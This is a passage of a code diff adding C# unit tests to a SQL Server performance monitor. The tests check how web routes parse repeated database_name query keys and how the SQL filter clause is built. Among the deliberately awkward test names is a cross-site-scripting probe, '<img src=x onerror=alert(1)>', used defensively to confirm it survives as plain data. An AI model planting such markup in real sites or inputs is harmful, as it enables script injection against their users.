+        var seen = new Dictionary<string, string>(StringComparer.Ordinal);
+        var queue = new Queue<string>();
+        queue.Enqueue(entry);
+        var staticImport = new Regex(
+            @"(?:^|\n)[ \t]*(?:import|export)\s[^;]*?from\s*[""'](?<spec>\.[^""']+)[""']|import\s*\(\s*[""'](?<spec>\.[^""']+)[""']\s*\)",
+            RegexOptions.None, TimeSpan.FromSeconds(5));
+        while (queue.Count > 0)
+        {
+            var module = queue.Dequeue();
+            if (seen.ContainsKey(module))
+            {
+                continue;
+            }
+
+            var text = ReadJs(module);
+            seen[module] = text;
+            var folder = module.Contains('/', StringComparison.Ordinal) ? module[..module.LastIndexOf('/')] : "";
+            foreach (Match m in staticImport.Matches(text))
+            {
+                var parts = new List<string>(folder.Length == 0 ? Array.Empty<string>() : folder.Split('/'));
+                foreach (var segment in m.Groups["spec"].Value.Split('/'))
+                {
+                    if (segment == "..")
+                    {
+                        parts.RemoveAt(parts.Count - 1);
+                    }
+                    else if (segment != ".")
+                    {
+                        parts.Add(segment);
+                    }
+                }
+
+                queue.Enqueue(string.Join('/', parts));
+            }
+        }
+
+        return seen;
+    }
+
+    /// <summary>
+    /// Every SQL Server read a module of the server page names sits in exactly one class. A name is a read when it is a quoted
+    /// string that the catalog knows, or any quoted <c>get_</c> name (so a read the catalog lacks is found too). PostgreSQL
+    /// reads carry the <c>get_pg_</c> prefix and are left out; there is no other PostgreSQL-only read among them. The roster
+    /// itself, database-filter-reads.js, is not scanned: it names every read it lists.
+    /// </summary>
+    [Fact]
+    public void EveryReadAModuleOfTheServerPageNames_IsInExactlyOneClass()
+    {
+        var closure = ImportClosure("pages/server.js");
+        /* Not vacuous: the closure reaches the modules the server tabs import, the two a roster of server-tabs.js alone would miss
+           among them, and util.js, which imports the roster. */
+        foreach (var expected in new[] { "pages/server.js", "pages/server-tabs.js", "pages/analysis-findings.js", "pages/plan-viewer.js", "util.js", "panels.js", "database-filter-reads.js" })
+        {
+            Assert.True(closure.ContainsKey(expected), $"{expected} is not in the import closure of pages/server.js, so this census would not read it. Found: {string.Join(", ", closure.Keys)}");
+        }
+
+        /* The name list is cut out of plain-text.js, so it must still be there to cut (see WithoutToolNameList). */
+        Assert.NotEqual(closure["plain-text.js"], WithoutToolNameList(closure["plain-text.js"]));
+
+        var classes = Classes();
+        var catalog = new HashSet<string>(CatalogNames(ReadEndpoints()), StringComparer.Ordinal);
+        Assert.True(catalog.Count > 100, "The read catalog's entries were not found.");
+
+        var named = new SortedDictionary<string, List<string>>(StringComparer.Ordinal);
+        foreach (var (module, text) in closure)
+        {
+            if (module == "database-filter-reads.js")
+            {
+                continue;
+            }
+
+            foreach (Match m in Regex.Matches(WithoutToolNameList(text), @"[""'`]([A-Za-z_][A-Za-z0-9_]*)[""'`]"))
+            {
+                var name = m.Groups[1].Value;
+                if (name.StartsWith("get_pg_", StringComparison.Ordinal) || !(catalog.Contains(name) || name.StartsWith("get_", StringComparison.Ordinal)))
+                {
+                    continue;
+                }
+
+                if (!named.TryGetValue(name, out var modules))
+                {
+                    named[name] = modules = new List<string>();
+                }
+
+                if (!modules.Contains(module))
+                {
+                    modules.Add(module);
+                }
+            }
+        }
+
+        Assert.True(named.Count > 60, $"only {named.Count} reads were found in the closure, so the scan reads too little.");
+
+        var unclassified = named.Where(kv => !classes.Values.Any(list => list.Contains(kv.Key))).Select(kv => $"{kv.Key} (named in {string.Join(", ", kv.Value)})").ToArray();
+        Assert.True(
+            unclassified.Length == 0,
+            "These reads are named by a module of the server page and sit in no class of database-filter-reads.js. A database-scoped read goes in UNFILTERED"
+            + " (or FILTERED once its route takes the list), a row-identity read in IDENTITY, anything with no database in SERVER_WIDE:\n" + string.Join("\n", unclassified));
+    }
+
+    /// <summary>
+    /// plain-text.js lists every MCP tool name in <c>MCP_TOOL_NAMES</c> so the plain-text rule knows which get_ words to rewrite.
+    /// That is a list of names the page never calls, not a read, so it is cut out of the text before the scan. Only that one
+    /// declaration is cut: a module that really names a read keeps being scanned, and the declaration must be there to cut, so
+    /// renaming it fails this census instead of quietly scanning the list again.
+    /// </summary>
+    private static string WithoutToolNameList(string text)
+    {
+        var declaration = new Regex(@"export\s+const\s+MCP_TOOL_NAMES\s*=\s*\[[^\]]*\]\s*;", RegexOptions.None, TimeSpan.FromSeconds(5));
+        return declaration.Replace(text, "");
+    }
+
+    /// <summary>The classes are disjoint, and no class names a read twice.</summary>
+    [Fact]
+    public void TheClasses_AreDisjoint_AndNoneListsAReadTwice()
+    {
+        var classes = Classes();
+        foreach (var (name, list) in classes)
+        {
+            Assert.True(list.Length == list.Distinct(StringComparer.Ordinal).Count(), $"{name} lists a read twice: {string.Join(", ", list.GroupBy(n => n).Where(g => g.Count() > 1).Select(g => g.Key))}");
+        }
+
+        var both = classes.SelectMany(kv => kv.Value.Select(read => (Read: read, Class: kv.Key)))
+            .GroupBy(x => x.Read)
+            .Where(g => g.Count() > 1)
+            .Select(g => $"{g.Key} is in {string.Join(" and ", g.Select(x => x.Class))}")
+            .ToArray();
+        Assert.True(both.Length == 0, "A read is in two classes:\n" + string.Join("\n", both));
+    }
+
+    /// <summary>Every name in every class is a read the catalog has: a typo in the roster would otherwise sit there unused while
+    /// the read it meant stayed unclassified, and the census above would be the only one to say so.</summary>
+    [Fact]
+    public void EveryClassedRead_IsInTheReadCatalog()
+    {
+        var catalog = new HashSet<string>(CatalogNames(ReadEndpoints()), StringComparer.Ordinal);
+        var unknown = Classes().SelectMany(kv => kv.Value.Select(read => (Read: read, Class: kv.Key))).Where(x => !catalog.Contains(x.Read)).Select(x => $"{x.Class}: {x.Read}").ToArray();
+        Assert.True(unknown.Length == 0, "database-filter-reads.js names reads the catalog does not have:\n" + string.Join("\n", unknown));
+    }
+
+    /// <summary>The identity reads are the query drill and the seven plan-viewer reads, and no others: the filter is never injected
+    /// into them, so a tenth would silently lose its panel's filter. The database-scoped reads are 34 in all (FILTERED and UNFILTERED
+    /// together; moving a read from one to the other keeps the total), and FILTERED is a subset of what the plan filters: none of
+    /// the three deadlock reads.</summary>
+    [Fact]
+    public void TheIdentityReads_AreTheNineRowIdentityReads_AndTheDatabaseScopedReadsAreThirtyFour()
+    {
+        var classes = Classes();
+        Assert.Equal(
+            Sorted(new[] { "get_query_trend", "get_plan_xml", "get_query_store_plan_xml", "get_active_query_plan_xml", "get_procedure_plan_xml", "get_query_store_query_history", "get_blocking_plan_xml", "get_deadlock_plan_xml", "get_query_repro_script" }),
+            Sorted(classes["IDENTITY"]));
+        Assert.Equal(34, classes["FILTERED"].Length + classes["UNFILTERED"].Length);
+        Assert.DoesNotContain(classes["FILTERED"], read => read is "get_deadlock_trend" or "get_deadlocks" or "get_deadlock_detail");
+        foreach (var deadlock in new[] { "get_deadlock_trend", "get_deadlocks", "get_deadlock_detail" })
+        {
+            Assert.Contains(deadlock, classes["UNFILTERED"]);
+        }
+    }
+
+    /// <summary>
+    /// #5244 PR5 and PR6 (W5, W6): the six configuration and event reads and the five storage and file I/O reads are FILTERED, and the
+    /// final roster holds: what stays UNFILTERED is exactly the three deadlock reads, which stay unfiltered on purpose (a deadlock spans
+    /// several databases).
+    /// </summary>
+    [Fact]
+    public void ThePr5AndPr6Reads_AreFiltered_AndTheFinalRosterOfUnfilteredReadsIsTheDeadlockThree()
+    {
+        var classes = Classes();
+        var filtered = new[]
+        {
+            "get_database_config", "get_database_scoped_config", "get_query_store_health", "get_database_config_changes",
+            "get_health_parser_severe_errors", "get_default_trace_events",
+            "get_file_io_trend", "get_file_io_stats", "get_database_sizes", "get_table_index_sizes", "get_pvs_stats",
+        };
+        foreach (var read in filtered)
+        {
+            Assert.Contains(read, classes["FILTERED"]);
+            Assert.DoesNotContain(read, classes["UNFILTERED"]);
+        }
+
+        var deadlocks = new[] { "get_deadlock_trend", "get_deadlocks", "get_deadlock_detail" };
+        Assert.Equal(Sorted(deadlocks), Sorted(classes["UNFILTERED"]));
+    }
+
+    /// <summary>
+    /// Pin 1: the reads in FILTERED are exactly the catalog rows that carry <c>PDatabases(</c>, the parameter a route that takes the
+    /// list declares. A read cannot be listed in JS without its route taking the list, nor take it without being listed.
+    /// </summary>
+    [Fact]
+    public void Filtered_IsExactlyTheCatalogRowsThatCarryPDatabases()
+    {
+        var rows = CatalogRows(ReadEndpoints());
+        Assert.True(rows.Length > 100, "The read catalog's entries were not found.");
+        var carrying = Sorted(rows.Where(r => r.Body.Contains("PDatabases(", StringComparison.Ordinal)).Select(r => r.Name));
+        var filtered = Sorted(Classes()["FILTERED"]);
+        Assert.True(
+            carrying.SequenceEqual(filtered),
+            "FILTERED in database-filter-reads.js and the catalog rows that carry PDatabases( differ.\n"
+            + "In the catalog only: " + string.Join(", ", carrying.Except(filtered)) + "\nIn FILTERED only: " + string.Join(", ", filtered.Except(carrying)));
+    }
+
+    /// <summary>
+    /// Pin 2: each such row's dispatch entry calls <c>DatabaseNames(c)</c>, and no other entry does, so a row that declares the
+    /// list cannot ship with a route that ignores it, nor the reverse.
+    /// </summary>
+    [Fact]
+    public void TheDispatchEntriesThatCallDatabaseNames_AreExactlyTheRowsThatCarryPDatabases()
+    {
+        var endpoints = ReadEndpoints();
+        var entries = DispatchEntries(endpoints);
+        Assert.True(entries.Length > 100, "BuildReadDispatch's entries were not found.");
+        var calling = Sorted(entries.Where(e => e.Body.Contains("DatabaseNames(c)", StringComparison.Ordinal)).Select(e => e.Name));
+        var carrying = Sorted(CatalogRows(endpoints).Where(r => r.Body.Contains("PDatabases(", StringComparison.Ordinal)).Select(r => r.Name));
+        Assert.True(
+            calling.SequenceEqual(carrying),
+            "The BuildReadDispatch entries that call DatabaseNames(c) and the catalog rows that carry PDatabases( differ.\n"
+            + "Dispatch only: " + string.Join(", ", calling.Except(carrying)) + "\nCatalog only: " + string.Join(", ", carrying.Except(calling)));
+    }
+
+    private const string SyntheticSource = """
+        class W
+        {
+            private static CatalogParam PDatabases() => new("database_name", TypeText, false, null);
+            internal static readonly IReadOnlyDictionary<string, CatalogRead> CatalogDescriptors =
+                new Dictionary<string, CatalogRead>(StringComparer.Ordinal)
+                {
+                    ["get_a"] = R(CatX, "plain.", PServer(), PHours(4)),
+                    ["get_b"] = R(CatX, "takes the list, and wraps over lines.",
+                        PServer(), PHours(4),
+                        PDatabases()),
+                    ["get_c"] = R(CatX, "a name today.", PServer(), PText("database_name")),
+                };
+            private static CatalogRead Later() => R(CatX, "a helper after the catalog.", PDatabases());
+
+            internal static IReadOnlyDictionary<string, ReadToolHandler> BuildReadDispatch(ILogger? logger = null)
+            {
+                var dispatch = new Dictionary<string, ReadToolHandler>(StringComparer.Ordinal)
+                {
+                    ["get_a"] = (c, pg, an) => Tools.A(pg, Server(c)),
+                    ["get_b"] = (c, pg, an) => OptionalInt(c, "bucket_minutes", out var bucket)
+                        ? Tools.B(pg, Server(c), DatabaseNames(c))
+                        : UnparseableParam("bucket_minutes"),
+                    ["get_c"] = (c, pg, an) => Tools.C(pg, Server(c), Str(c, "database_name")),
+                };
+                return dispatch;
+            }
+
+            private static void Helper(HttpContext c) { var names = DatabaseNames(c); }
+        }
+        """;
+
+    /// <summary>The parsing the two pins stand on, run on text with a wrapped catalog row, a wrapped dispatch entry, a helper
+    /// after the catalog and a helper after the method: only the real carriers and callers are found.</summary>
+    [Fact]
+    public void ThePinsParsing_FindsWrappedRows_AndIgnoresAHelpersText()
+    {
+        var text = SyntheticSource.Replace("\r\n", "\n", StringComparison.Ordinal);
+        Assert.Equal(new[] { "get_a", "get_b", "get_c" }, CatalogRows(text).Select(r => r.Name).ToArray());
+        Assert.Equal(new[] { "get_b" }, CatalogRows(text).Where(r => r.Body.Contains("PDatabases(", StringComparison.Ordinal)).Select(r => r.Name).ToArray());
+        Assert.Equal(new[] { "get_a", "get_b", "get_c" }, DispatchEntries(text).Select(e => e.Name).ToArray());
+        Assert.Equal(new[] { "get_b" }, DispatchEntries(text).Where(e => e.Body.Contains("DatabaseNames(c)", StringComparison.Ordinal)).Select(e => e.Name).ToArray());
+        Assert.Equal(new[] { "get_a", "get_b", "get_c" }, CatalogNames(text));
+    }
+}
diff --git a/Darling/Darling.Tests/WebDatabaseFilterTests.cs b/Darling/Darling.Tests/WebDatabaseFilterTests.cs
new file mode 100644
index 0000000000..39e8280e62
--- /dev/null
+++ b/Darling/Darling.Tests/WebDatabaseFilterTests.cs
@@ -0,0 +1,550 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Http;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5245 (part of #5244): the C# foundation of the web database filter. The picker sends one
+/// <c>database_name</c> key per chosen database, so the web route has to read a repeated key as a list
+/// (<see cref="DarlingWebEndpoints.DatabaseNames"/>, over <see cref="DatabaseFilter"/>'s one blank-name rule), and
+/// every single-value read has to read a repeated key as its FIRST value.
+///
+/// <para>Database names are chosen by anyone who can create a database on a monitored server, so the awkward ones
+/// (a comma, a bracket, a leading space, a quote, a percent sign, markup) are the cases that matter here.</para>
+/// </summary>
+public sealed class WebDatabaseFilterTests
+{
+    /// <summary>The six names the filter's tests use for "anything a database can be called": each one has to
+    /// survive as ONE name, exactly as typed.</summary>
+    public static readonly string[] AwkwardNames =
+    [
+        "A,B",
+        "x]",
+        " SalesDb",
+        "O'Brien",
+        "50%+off",
+        "<img src=x onerror=alert(1)>",
+    ];
+
+    /// <summary>The expected names, as an array (an <c>Assert.Equal</c> expectation, not a collection expression).</summary>
+    private static string[] L(params string[] names) => names;
+
+    private static DefaultHttpContext Ask(string query)
+    {
+        var context = new DefaultHttpContext();
+        context.Request.QueryString = new QueryString(query);
+        return context;
+    }
+
+    /// <summary>What the page's <c>buildQuery</c> puts on the wire for one value, written independently of the
+    /// product's byte table: .NET's RFC 3986 escape, with the five characters <c>encodeURIComponent</c> also leaves
+    /// alone (<c>! ' ( ) *</c>) put back.</summary>
+    private static string EncodeUriComponent(string value) =>
+        Uri.EscapeDataString(value)
+            .Replace("%21", "!", StringComparison.Ordinal)
+            .Replace("%27", "'", StringComparison.Ordinal)
+            .Replace("%28", "(", StringComparison.Ordinal)
+            .Replace("%29", ")", StringComparison.Ordinal)
+            .Replace("%2A", "*", StringComparison.Ordinal);
+
+    /// <summary>The query the page builds for a list: one <c>database_name</c> key per name.</summary>
+    private static string QueryOf(IEnumerable<string> names) =>
+        "?" + string.Join("&", names.Select(name => "database_name=" + EncodeUriComponent(name)));
+
+    private static IReadOnlyList<string> NamesOf(string query)
+    {
+        var databases = DarlingWebEndpoints.DatabaseNames(Ask(query));
+        Assert.NotNull(databases);
+        return databases.Value.Names;
+    }
+
+    /// <summary>A refused request: <c>DatabaseNames</c> answers null (never "all databases"), and the dispatch
+    /// entry's refusal is the existing <c>invalid</c> envelope for <c>database_name</c>.</summary>
+    private static async Task<string> RefusalOf(string query)
+    {
+        var context = Ask(query);
+        Assert.Null(DarlingWebEndpoints.DatabaseNames(context));
+        var envelope = await DarlingWebEndpoints.DatabaseNamesRefusal(context);
+        Assert.True(McpHelpers.IsRefusalEnvelope(envelope), envelope);
+        using var doc = JsonDocument.Parse(envelope);
+        Assert.Equal("invalid", doc.RootElement.GetProperty("status").GetString());
+        Assert.Equal("database_name", doc.RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+        return doc.RootElement.GetProperty("message").GetString()!;
+    }
+
+    // ── First(): the first non-empty value, never the repeated values joined with a comma ──
+
+    /// <summary>The four query helpers #5245 fixes, by the name the theory rows use. Each one is the first
+    /// non-empty value for a key, and each is its own method, so each is read here.</summary>
+    private static string? Read(string helper, HttpContext context, string key) => helper switch
+    {
+        "read-surface" => DarlingWebEndpoints.First(context, key),
+        "fleet-sweep" => DarlingFleetSweepEndpoints.Query(context, key),
+        "alert-notebook" => AlertNotebookEndpoint.Query(context, key),
+        "triage" => DarlingTriageEndpoint.Query(context, key),
+        _ => throw new ArgumentOutOfRangeException(nameof(helper), helper, "Unknown query helper."),
+    };
+
+    /// <summary>
+    /// A repeated key used to come back as <c>A,B</c> (ASP.NET joins repeated values when a
+    /// <c>StringValues</c> is turned into a string), which no database, server or collector is called. The
+    /// helper's own comment says "the first non-empty value", and this makes that true for all four copies.
+    /// </summary>
+    [Theory]
+    [InlineData("read-surface")]
+    [InlineData("fleet-sweep")]
+    [InlineData("alert-notebook")]
+    [InlineData("triage")]
+    public void First_OnARepeatedKey_ReturnsTheFirstValue(string helper) =>
+        Assert.Equal("A", Read(helper, Ask("?database_name=A&database_name=B"), "database_name"));
+
+    /// <summary>The server key is the one that matters most: <c>Server()</c> resolves a name against the
+    /// registry, and <c>A,B</c> would resolve to nothing.</summary>
+    [Theory]
+    [InlineData("read-surface")]
+    [InlineData("fleet-sweep")]
+    [InlineData("alert-notebook")]
+    [InlineData("triage")]
+    public void First_OnARepeatedServerKey_ReturnsTheFirstValue(string helper) =>
+        Assert.Equal("A", Read(helper, Ask("?server=A&server=B&server=C"), "server"));
+
+    [Theory]
+    [InlineData("read-surface")]
+    [InlineData("fleet-sweep")]
+    [InlineData("alert-notebook")]
+    [InlineData("triage")]
+    public void First_SkipsAnEmptyValue_AndReturnsTheFirstNonEmptyOne(string helper) =>
+        Assert.Equal("B", Read(helper, Ask("?x=&x=B&x=C"), "x"));
+
+    [Theory]
+    [InlineData("read-surface")]
+    [InlineData("fleet-sweep")]
+    [InlineData("alert-notebook")]
+    [InlineData("triage")]
+    public void First_OnOneValueAnEmptyValueOrNoKey_IsUnchanged(string helper)
+    {
+        Assert.Equal("A", Read(helper, Ask("?x=A"), "x"));
+        Assert.Equal("a,b", Read(helper, Ask("?x=a%2Cb"), "x"));
+        Assert.Null(Read(helper, Ask("?x="), "x"));
+        Assert.Null(Read(helper, Ask("?x=&x="), "x"));
+        Assert.Null(Read(helper, Ask("?y=A"), "x"));
+        Assert.Null(Read(helper, Ask(""), "x"));
+    }
+
+    // ── DatabaseFilter: the one blank-name rule ──
+
+    [Fact]
+    public void DatabaseFilter_ABlankName_IsAll()
+    {
+        foreach (var blank in new[] { null, "", " ", "   ", "\t", " \t\r\n " })
+        {
+            var one = DatabaseFilter.One(blank);
+            Assert.True(one.IsAll, $"One({blank ?? "null"})");
+            Assert.Empty(one.Names);
+            Assert.Null(one.Describe());
+        }
+
+        Assert.True(DatabaseFilter.All.IsAll);
+        Assert.True(default(DatabaseFilter).IsAll);
+        Assert.True(DatabaseFilter.Of(null).IsAll);
+        Assert.True(DatabaseFilter.Of([]).IsAll);
+        Assert.True(DatabaseFilter.Of([null, "", "  ", "\t"]).IsAll);
+        Assert.Equal(DatabaseFilter.All, DatabaseFilter.Of([" ", ""]));
+    }
+
+    [Fact]
+    public void DatabaseFilter_AKeptName_IsKeptExactlyAsGiven()
+    {
+        Assert.Equal(L(" SalesDb"), DatabaseFilter.One(" SalesDb").Names);
+        Assert.Equal(L("SalesDb "), DatabaseFilter.One("SalesDb ").Names);
+        Assert.Equal(L("salesdb", "SalesDb"), DatabaseFilter.Of(["salesdb", "SalesDb"]).Names);
+        Assert.Equal(AwkwardNames, DatabaseFilter.Of(AwkwardNames).Names);
+    }
+
+    [Fact]
+    public void DatabaseFilter_Of_DropsBlanksAndRepeats_AndKeepsTheOrderFirstSeen()
+    {
+        var filter = DatabaseFilter.Of(["B", " ", "A", "B", null, "a", "A"]);
+
+        Assert.False(filter.IsAll);
+        Assert.Equal(L("B", "A", "a"), filter.Names);
+    }
+
+    [Fact]
+    public void DatabaseFilter_Describe_IsNullForAll_TheNameForOne_AndTheChosenDatabasesForMore()
+    {
+        Assert.Null(DatabaseFilter.All.Describe());
+        Assert.Equal("Sales", DatabaseFilter.One("Sales").Describe());
+        Assert.Equal(" SalesDb", DatabaseFilter.One(" SalesDb").Describe());
+        Assert.Equal("the chosen databases", DatabaseFilter.Of(["A", "B"]).Describe());
+        Assert.Equal("A", DatabaseFilter.Of(["A", "A"]).Describe());
+    }
+
+    [Fact]
+    public void DatabaseFilter_Parameter_IsOneTextArray_NullWhenAll_AndAFreshCopyEveryTime()
+    {
+        var all = DatabaseFilter.All.Parameter();
+        Assert.Equal(NpgsqlDbType.Array | NpgsqlDbType.Text, all.NpgsqlDbType);
+        Assert.Equal(DBNull.Value, all.Value);
+
+        var filter = DatabaseFilter.Of(["A,B", "C"]);
+        var first = filter.Parameter();
+        Assert.Equal(NpgsqlDbType.Array | NpgsqlDbType.Text, first.NpgsqlDbType);
+        Assert.Equal(L("A,B", "C"), Assert.IsType<string[]>(first.Value));
+        Assert.NotSame(first, filter.Parameter());
+
+        // A caller that edits the array it was handed does not change the filter.
+        ((string[])first.Value!)[0] = "changed";
+        Assert.Equal(L("A,B", "C"), filter.Names);
+        Assert.Equal(L("A,B", "C"), Assert.IsType<string[]>(filter.Parameter().Value));
+    }
+
+    [Fact]
+    public void DatabaseFilter_IsAValue_EqualWhenItNamesTheSameSet()
+    {
+        Assert.Equal(DatabaseFilter.Of(["A", "B"]), DatabaseFilter.Of(["B", "A"]));
+        Assert.Equal(DatabaseFilter.Of(["A", "B"]).GetHashCode(), DatabaseFilter.Of(["B", "A", "A"]).GetHashCode());
+        Assert.NotEqual(DatabaseFilter.Of(["A", "B"]), DatabaseFilter.Of(["A"]));
+        Assert.NotEqual(DatabaseFilter.Of(["A"]), DatabaseFilter.Of(["a"]));
+        Assert.NotEqual(DatabaseFilter.All, DatabaseFilter.One("A"));
+        Assert.Equal(DatabaseFilter.All, default);
+    }
+
+    // ── the clause and the parameter are the desktop's, byte for byte ──
+
+    /// <summary>The SQL arm every reader splices is the desktop viewer's <c>DatabaseFilterClause</c> to the byte,
+    /// whatever the selection (the predicate never depends on it), so the two surfaces run one statement shape.</summary>
+    [Theory]
+    [InlineData("database_name", 1)]
+    [InlineData("database_name", 4)]
+    [InlineData("d.database_name", 12)]
+    [InlineData("s.\"database_name\"", 2)]
+    public void Clause_IsByteEqualToTheDesktopsDatabaseFilterClause(string column, int index)
+    {
+        var desktop = ViewerDataService.DatabaseFilterClause(column, index);
+
+        Assert.Equal(desktop, DatabaseFilter.All.Clause(column, index));
+        Assert.Equal(desktop, DatabaseFilter.One("A").Clause(column, index));
+        Assert.Equal(desktop, DatabaseFilter.Of(["A", "B"]).Clause(column, index));
+        Assert.Equal($" AND (${index}::text[] IS NULL OR {column} = ANY(${index}))", desktop);
+    }
+
+    [Fact]
+    public void Parameter_BindsLikeTheDesktopsDatabaseFilterParameter()
+    {
+        foreach (var selection in new IReadOnlyList<string>?[] { null, [], ["A"], ["A", "B"], AwkwardNames })
+        {
+            var desktop = ViewerDataService.DatabaseFilterParameter(selection);
+            var web = (selection is { Count: > 0 } ? DatabaseFilter.Of(selection) : DatabaseFilter.All).Parameter();
+
+            Assert.Equal(desktop.NpgsqlDbType, web.NpgsqlDbType);
+            if (desktop.Value is string[] desktopNames)
+            {
+                Assert.Equal(desktopNames, Assert.IsType<string[]>(web.Value));
+            }
+            else
+            {
+                Assert.Same(DBNull.Value, desktop.Value);
+                Assert.Same(DBNull.Value, web.Value);
+            }
+        }
+    }
+
+    // ── the web route: DatabaseNames(c) ──
+
+    [Fact]
+    public void DatabaseNames_NoKey_IsAll_NotARefusal()
+    {
+        foreach (var query in new[] { "", "?", "?server=A", "?databases=A" })
+        {
+            var databases = DarlingWebEndpoints.DatabaseNames(Ask(query));
+
+            Assert.NotNull(databases);
+            Assert.True(databases.Value.IsAll, query);
+        }
+    }
+
+    [Fact]
+    public void DatabaseNames_ReadsOneNamePerKey_InTheOrderSent()
+    {
+        Assert.Equal(L("A"), NamesOf("?database_name=A"));
+        Assert.Equal(L("B", "A", "C"), NamesOf("?database_name=B&database_name=A&database_name=C"));
+        Assert.Equal(L("A"), NamesOf("?server=S&database_name=A&hours=4"));
+    }
+
+    [Fact]
+    public void DatabaseNames_DropsAWhitespaceOnlyName_AndKeepsTheOthers()
+    {
+        Assert.Equal(L("Sales"), NamesOf("?database_name=%20%20&database_name=Sales"));
+        Assert.Equal(L("Sales"), NamesOf("?database_name=&database_name=Sales&database_name=%09"));
+        Assert.Equal(L("A", "B"), NamesOf("?database_name=A&database_name=%0D%0A&database_name=B"));
+    }
+
+    [Fact]
+    public void DatabaseNames_KeepsANameWithALeadingSpaceExactlyAsTyped()
+    {
+        Assert.Equal(L(" SalesDb"), NamesOf("?database_name=%20SalesDb"));
+        Assert.Equal(L("SalesDb "), NamesOf("?database_name=SalesDb%20"));
+        Assert.Equal(L(" Sales Db "), NamesOf("?database_name=%20Sales%20Db%20"));
+        Assert.Equal(L("salesdb", "SalesDb", " SalesDb"), NamesOf("?database_name=salesdb&database_name=SalesDb&database_name=%20SalesDb"));
+    }
+
+    [Fact]
+    public void DatabaseNames_DeDuplicates_OrdinalAndKeepingTheOrder()
+    {
+        Assert.Equal(L("B", "A", "a"), NamesOf("?database_name=B&database_name=A&database_name=B&database_name=a&database_name=A"));
+    }
+
+    [Theory]
+    [InlineData("?database_name=")]
+    [InlineData("?database_name")]
+    [InlineData("?database_name=%20")]
+    [InlineData("?database_name=%20&database_name=%09&database_name=")]
+    [InlineData("?server=S&database_name=&hours=4")]
+    public async Task DatabaseNames_KeysSentButNoneSurvive_IsRefused_NeverAll(string query)
+    {
+        var message = await RefusalOf(query);
+
+        Assert.Contains("every value was empty or only spaces", message, StringComparison.Ordinal);
+    }
+
+    /// <summary>A name holding NUL is one no stored database can have, and PostgreSQL refuses a text value that holds it,
+    /// so the binder answers the same <c>invalid</c> envelope for <c>database_name</c> as for an over-long name, naming
+    /// no value, before any read reaches the store (#5245).</summary>
+    [Theory]
+    [InlineData("\0")]
+    [InlineData("A", "B\0")]
+    [InlineData("A\0", "B")]
+    public async Task DatabaseNames_ANameHoldingNul_IsRefused_WithoutEchoingTheName(params string[] names)
+    {
+        var message = await RefusalOf(QueryOf(names));
+
+        Assert.Contains("holds a character a database name cannot hold", message, StringComparison.Ordinal);
+        Assert.DoesNotContain("\0", message, StringComparison.Ordinal);
+        Assert.False(DarlingWebEndpoints.TryBindDatabaseNames(names, out _, out var refusal) || refusal is null);
+    }
+
+    /// <summary>On the web dispatch: every database-filtered read answers the refusal and never reaches the store (the
+    /// store and analysis arguments are null here, so a read that got past the binder would throw).</summary>
+    [Theory]
+    [InlineData("get_active_queries")]
+    [InlineData("get_query_heatmap")]
+    [InlineData("get_query_store_regressions")]
+    [InlineData("get_query_store_top")]
+    [InlineData("get_top_procedures_by_cpu")]
+    [InlineData("get_top_queries_by_cpu")]
+    public async Task TheDatabaseFilteredReads_RefuseANulName_BeforeTheStore(string read)
+    {
+        foreach (var query in new[] { "?server=S&database_name=%00", "?server=S&database_name=A&database_name=B%00" })
+        {
+            var result = await DarlingWebEndpoints.BuildReadDispatch()[read](Ask(query), null!, null!);
+
+            Assert.True(McpHelpers.IsRefusalEnvelope(result), result);
+            using var doc = JsonDocument.Parse(result);
+            Assert.Equal("invalid", doc.RootElement.GetProperty("status").GetString());
+            Assert.Equal("database_name", doc.RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+        }
+    }
+
+    [Fact]
+    public async Task DatabaseNamesRefusal_ForAnAcceptableRequest_IsABug_SoItThrows()
+    {
+        await Assert.ThrowsAsync<InvalidOperationException>(async () => await DarlingWebEndpoints.DatabaseNamesRefusal(Ask("?database_name=A")));
+        await Assert.ThrowsAsync<InvalidOperationException>(async () => await DarlingWebEndpoints.DatabaseNamesRefusal(Ask("")));
+    }
+
+    /// <summary>A value that holds a comma is ONE database. A list is the repeated key, never a comma list, because
+    /// a database may be called <c>A,B</c>.</summary>
+    [Fact]
+    public void DatabaseNames_NeverSplitsAValueOnAComma()
+    {
+        Assert.Equal(L("A,B"), NamesOf("?database_name=A,B"));
+        Assert.Equal(L("A,B"), NamesOf("?database_name=A%2CB"));
+        Assert.Equal(L("A,B", "C"), NamesOf("?database_name=A,B&database_name=C"));
+        Assert.Equal(L(",", " , "), NamesOf("?database_name=%2C&database_name=%20%2C%20"));
+    }
+
+    [Theory]
+    [InlineData("A,B")]
+    [InlineData("x]")]
+    [InlineData(" SalesDb")]
+    [InlineData("O'Brien")]
+    [InlineData("50%+off")]
+    [InlineData("<img src=x onerror=alert(1)>")]
+    public void DatabaseNames_TheAwkwardNames_EachRoundTripAsOneName(string name)
+    {
+        Assert.Contains(name, AwkwardNames);
+        Assert.Equal(L(name), NamesOf(QueryOf([name])));
+
+        // The same name as the fixed encoder of a browser or a client library that escapes more than the browser does.
+        Assert.Equal(L(name), NamesOf("?database_name=" + Uri.EscapeDataString(name)));
+
+        // And as a one-element list, the binding the reader gets: one text[] value, not a split one.
+        var filter = DarlingWebEndpoints.DatabaseNames(Ask(QueryOf([name])))!.Value;
+        Assert.Equal(L(name), Assert.IsType<string[]>(filter.Parameter().Value));
+    }
+
+    [Fact]
+    public void DatabaseNames_TheSixAwkwardNamesTogether_AreSixNamesInOrder()
+    {
+        Assert.Equal(6, AwkwardNames.Length);
+        Assert.Equal(AwkwardNames, NamesOf(QueryOf(AwkwardNames)));
+    }
+
+    // ── the caps are counted after de-duplication ──
+
+    [Fact]
+    public void DatabaseNames_FiftyDistinctNames_AreAccepted()
+    {
+        var fifty = Enumerable.Range(1, 50).Select(i => "db" + i.ToString("D2")).ToArray();
+
+        Assert.Equal(fifty, NamesOf(QueryOf(fifty)));
